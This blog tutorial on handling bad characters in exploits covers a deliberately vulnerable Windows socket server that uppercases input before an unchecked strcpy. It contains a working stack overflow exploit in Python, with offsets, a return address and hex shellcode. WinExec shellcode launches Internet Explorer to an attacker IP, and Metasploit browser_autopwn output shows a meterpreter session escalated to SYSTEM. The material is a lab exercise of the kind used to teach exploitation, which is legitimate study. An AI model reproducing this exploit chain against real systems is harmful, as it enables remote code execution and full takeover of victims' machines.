Badchars and dealing with them

While surfing the wild internets I found a vulnerable server on corelan’s.be website he wrote to write a tutorial about exploitation on windows. It can be found here. Anyway, I decided to take that code and write a function to uppercase the received buffer just to make it more challenging :D. The added code are a function and couple of lines in main() before the pr(Message); -before passing the buffer to the vulnerable function- This added function will uppercase whatever was recieved by the attacker which will restrict almost all lower ASCIIs

void stoupper(std::string& s)
{
 std::string::iterator i = s.begin();
 std::string::iterator end = s.end();

  while (i != end) {
    *i = std::toupper((unsigned char)*i);
    ++i;
  }
}

That’s the function and here’s the added lines on main() at the described position

int i = 0;
for(i=0;i<strlen(Message);i++) {
	Message[i] = toupper(Message[i]);
}

Okay what kind of a change will that cause ? These added lines of code will uppercase everything in ASCII refering to the MSDN of std:toupper and also the ASCII table

You’ll probably find out that we should avoid or construct our payload and return addresses (and everything else) depending on the fact that any thing from 0×61 to 0x7a will be upper-cased so if your shellcode/retaddr contains 0×68 (h char) it’ll be converted to 0×48 (H char) :) Yep so we should be careful when choosing a return address or when building a shellcode. So let’s compile this code and move it to a windows XP sp3 and see what’s up with it and how should we deal with it….

Here’s the full code of vuln.cpp

#include <winsock.h>
#include <windows.h>
#include <string.h>
#include <iostream>

//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0

void stoupper(std::string& s)
{
 std::string::iterator i = s.begin();
 std::string::iterator end = s.end();

  while (i != end) {
    *i = std::toupper((unsigned char)*i);
    ++i;
  }
}

void pr( char *str)
{
   char buf[1000]="";
   strcpy(buf,str);
}
void sError(char *str)
{
   MessageBox (NULL, str, "socket Error" ,MB_OK);
   WSACleanup();
}

int main(int argc, char **argv)
{

WORD sockVersion;
WSADATA wsaData;

int rVal;
char Message[5000]="";
//char buf[2000]="";

u_short LocalPort;
LocalPort = 200;

//wsock32 initialized for usage
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);

//create server socket
SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);

if(serverSocket == INVALID_SOCKET)
{
   sError("Failed socket()");
   return SS_ERROR;
}

SOCKADDR_IN sin;
sin.sin_family = PF_INET;
sin.sin_port = htons(LocalPort);
sin.sin_addr.s_addr = INADDR_ANY;

//bind the socket
rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
if(rVal == SOCKET_ERROR)
{
   sError("Failed bind()");
   WSACleanup();
   return SS_ERROR;
}

//get socket to listen
rVal = listen(serverSocket, 10);
if(rVal == SOCKET_ERROR)
{
   sError("Failed listen()");
   WSACleanup();
   return SS_ERROR;
}

//wait for a client to connect
SOCKET clientSocket;
clientSocket = accept(serverSocket, NULL, NULL);
if(clientSocket == INVALID_SOCKET)
{
   sError("Failed accept()");
   WSACleanup();
   return SS_ERROR;
}

int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
{
   //receive the data that is being sent by the client max limit to 5000 bytes.
   bytesRecv = recv( clientSocket, Message, 5000, 0 );

   if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
   {
      printf("\nConnection Closed.\n");
      break;
   }
}


// uppercase data recv'd
int i = 0;
for(i=0;i<strlen(Message);i++) {
//	if(i==1016) i+= 8;
	Message[i] = toupper(Message[i]);
}

//Pass the data received to the function pr
pr(Message);

//close client socket
closesocket(clientSocket);
//close server socket
closesocket(serverSocket);

WSACleanup();

return SS_OK;
}

Building…

w00t:~/vmsfiles/vulnerable-applications/badcharz# cat build.sh 
#!/bin/bash
echo "Compiling code"
wine ~/.wine/drive_c/MinGW/bin/g++.exe vulns.cpp -o vulns -lwsock32
w00t:~/vmsfiles/vulnerable-applications/badcharz# ./build.sh 
Compiling code

now running the vulnerable file on a debugger and testing until we figure out where we write stuff. This process should be manually since using a MSF pattern will be kinda useless/inaccurate. Let’s take a look at how a MSF pattern looks like

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6A...etc

as you can see the MSF pattern contains ASCII lower case which means they’ll be uppercase and that means it’s useless so in this case it must be manually done and not always in the easy way. Do it manually! Anyway, in my box -xpsp3- I overwrite EBP@ offset 1016 and EIP@ 1020… We always have to make sure that the EIP (return address) shouldn’t contain any of the badchars neither the shellcode. I have written a simple python code that does the overwrite and all

w00t:~/vmsfiles/exploits/badcharz# cat xx.py 
#!/usr/bin/env python
from socket import *
host = "192.168.56.101"
port = 200
print ">>> Connecting to %s:%d" % (host,port)
s = socket(AF_INET,SOCK_STREAM)
s.connect((host,port))
pat = "\x41"*1016
pat += "\x22\x22\x22\x22" # EBP
pat += "\x11\x11\x11\x11" # EIP
pat += "\x90"*3000
buffer = pat
s.send(buffer);
print s.recv(1024).rstrip('\n')

as you can see in the picture we have overwritten EBP, EIP, and our eax contain a controlled buffer of 1016 bytes and the rest are located in ESP+0 until 3500+ bytes which we don’t care how much exactly because 3500+ bytes are enough to load a linux kernel LOL :P! anyway, so we’ll be using ESP to jump to the shellcode. That can be done in many ways and the easies is to search for a

push esp
<....>
retn

make sure that between the push and the retn there are no push or pop in another word make sure that the top of the stack is a ptr to the address of esp so we can return to our shellcode. In my case I happen to find a really intresting one located at 0x7c902b41 which is

push esp
and al,8
mov eax,dword ptr ss:[esp+4]
bswap edx
bswap eax
mov ecx,eax
mov eax,edx
mov edx,ecx
retn

None of the instructions between the push esp and the return will affect the stack so we’ll return to a ptr to esp with no problems executing what ever in our control in ESP register. Now we found our return address and we need to write a shellcode. I came with the idea to write a WinExec shellcode as small as possible ‘eventhough we have a lot of space to write all kind of shellcodes’ but I decided to make it small and uses only WinExec to lunch internet explorer connecting it to a specific website that’ll exploit another vulnerability in it :P. our shellcode will look like this

w00t:~/vmsfiles/exploits/badcharz# cat cmd.asm
[Section .text]
BITS 32
global _start
_start:

jmp short pushstr
dotherest:
        pop  ebx     ; pop string from stack
        push eax     ; pushing null
        push ebx     ; pushing string
        call ebp     ; call Kernel32.WinExec
        int3         ; avoid looping the easy way :P
pushstr:
	call dotherest
	db 'explorer http://0xC0A83801'
	db 0x00 ; null terminator

I pushed eax as a null you might be confused with this part but if you’ve been following in the debugger our return address will take us to the instructions mentioned above being specific this one

mov eax,edx

will move edx which is 0×00000000 to eax and then will return at that point. The only null’d register is eax so we push eax rather than pushing 0×00000000 which will contain null bytes which are badchars since they terminate strcpy() :) and also they are smaller than doing something such as xoring a specific register and then pushing it. Also another confusing part is the str pushed to the stack which is explorer http://0xC0A83801 which will be executed by winexec and will go to http://192.168.56.1 that’s my ip ‘the attacker ip’ Internet explorer can process hexadecimal IPs and here’s a simply bash script to create it for you

w00t:~/vmsfiles/exploits/badcharz# cat iptohexa.sh 
#!/bin/sh
IP_ADDR=192.168.56.1
printf "http://0x"
for I in $(echo ${IP_ADDR}| sed -e "s/\./ /g"); do 
   printf '%02X' $I
done
echo
w00t:~/vmsfiles/exploits/badcharz# ./iptohexa.sh 

http://0xC0A83801

Anyway, using a hexadecimal IP is smaller since my ip 192.168.56.1 is 12 bytes and 0xc0a83801 is 10 bytes so we have 2 extra bytes LOL :P. As I mentioned above I was just trying to write a small shellcode eventhough there’s plenty of space to not care about these kind of things. Before continuing go back to the shellcode and you’ll see that I make a call to ebp which we have control over and will overwrite with WinExec@Kernel32 address that’ll make our shellcode more smaller :). Now we compile the ASM code and get the bytes, update our exploit and see how things goes..

#!/usr/bin/env python
from socket import *
host = "192.168.56.101"
port = 200
print ">>> Connecting to %s:%d" % (host,port)
s = socket(AF_INET,SOCK_STREAM)
s.connect((host,port))
shellcode = "\xeb\x06\x5b\x50\x53\xff\xd5\xcc\xe8\xf5\xff\xff\xff\x65\x78\x70\x6c\x6f\x72\x65\x72\x20\x68\x74\x74\x70\x3a\x2f\x2f\x30\x78\x43\x30\x41\x38\x33\x38\x30\x31\x00"
pat = "\x41"*1016
pat += "\xad\x23\x86\x7c" # 0x7c8623ad winexec @ kernel32.dll
pat += "\x41\x2b\x90\x7c" # push esp ......... retn
pat += "\x90"*5 + shellcode
buffer = pat
s.send(buffer);
print s.recv(1024).rstrip('\n')

Perfect we reached our shellcode :) now let’s stop debugging and run metasploit browser_autopwn and exploit it and see what happens :D

w00t:~/vmsfiles/exploits/badcharz# msfcli auxiliary/server/browser_autopwn LHOST=192.168.56.1 SRVHOST=192.168.56.1 SRVPORT=80 URIPATH=/ E
<snip>
<snip>..etc
[*] --- Done, found 23 exploit modules
[*] Using URL: http://192.168.56.1:80/
[*] Server started.

we run the exploit and wait on metasploit and see what happens!

[*] 192.168.56.101   Browser Autopwn request '/'
[*] 192.168.56.101   Browser Autopwn request '/?sessid=TWljcm9zb2Z0IFdpbmRvd3M6WFA6U1AzOmVuLXVzOng4NjpNU0lFOjcuMDo%3d'
[*] 192.168.56.101   JavaScript Report: Microsoft Windows:XP:SP3:en-us:x86:MSIE:7.0:
[*] Responding with exploits
[*] Sending MS03-020 Internet Explorer Object Type to 192.168.56.101:1082...
[*] Sending MS03-020 Internet Explorer Object Type to 192.168.56.101:1083...
[*] Sending Internet Explorer DHTML Behaviors Use After Free to 192.168.56.101:1084 (target: IE 6 SP0-SP2 (onclick))...
[*] Sending stage (752128 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:3333 -> 192.168.56.101:1085) at 2011-08-31 23:24:42 -0400
[*] Session ID 1 (192.168.56.1:3333 -> 192.168.56.101:1085) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (4024)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 3920
[*] New server process: notepad.exe (3920)

msf  auxiliary(browser_autopwn) > sessions -l

Active sessions
===============

  Id  Type                   Information             Connection
  --  ----                   -----------             ----------
  1   meterpreter x86/win32  WINXP\d34dc0d3 @ WINXP  192.168.56.1:3333 -> 192.168.56.101:1085

msf  auxiliary(browser_autopwn) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

OWNED!! You also can use other shellcodes, not sure if the shellcodes in Metasploit can be used and work stable in this situation by using a “x86/alpha_upper” encoder, since there’s a reason why it has a ‘low rank’ :) but try it. It might work.

Leave a Reply

Your email address will not be published. Required fields are marked *


*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>